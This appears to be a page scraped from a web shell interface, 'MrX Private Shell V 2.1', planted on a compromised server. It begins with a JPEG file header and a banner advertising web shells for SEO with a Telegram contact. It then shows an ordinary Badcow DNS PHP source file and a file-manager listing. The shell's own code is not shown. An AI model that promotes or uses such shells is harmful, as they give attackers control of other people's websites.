����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS\Parser;
class StringIterator extends \ArrayIterator
{
/**
* StringIterator constructor.
*/
public function __construct(string $string = '')
{
parent::__construct(str_split($string));
}
/**
* Test if current character is equal to a value, or (if $value is an array) is one of the values in the array.
*
* @param string|array $value test if current character is equal to, or is in, $value
*
* @return bool true if current character is, or is one of, the values
*/
public function is($value): bool
{
if (is_array($value)) {
return in_array($this->current(), $value);
}
return (string) $value === $this->current();
}
/**
* Test if current character is not equal to a value, or (if $value is an array) is not any of the values in the array.
*
* @param string|array $value test if current character is not equal to, or is not any of, $value
*
* @return bool true if current character is not, or is not one of, the values
*/
public function isNot($value): bool
{
return !$this->is($value);
}
public function getRemainingAsString(): string
{
$string = '';
while ($this->valid()) {
$string .= $this->current();
$this->next();
}
return $string;
}
/**
* @return string
*/
public function __toString()
{
return implode('', $this->getArrayCopy());
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Comments.php | File | 982 B | 0644 |
|
| Normaliser.php | File | 6.26 KB | 0644 |
|
| ParseException.php | File | 1.27 KB | 0644 |
|
| Parser.php | File | 15.29 KB | 0644 |
|
| ResourceRecordIterator.php | File | 1.36 KB | 0644 |
|
| StringIterator.php | File | 1.75 KB | 0644 |
|
| TimeFormat.php | File | 2.5 KB | 0644 |
|
| Tokens.php | File | 621 B | 0644 |
|
| ZoneFileFetcherInterface.php | File | 734 B | 0644 |
|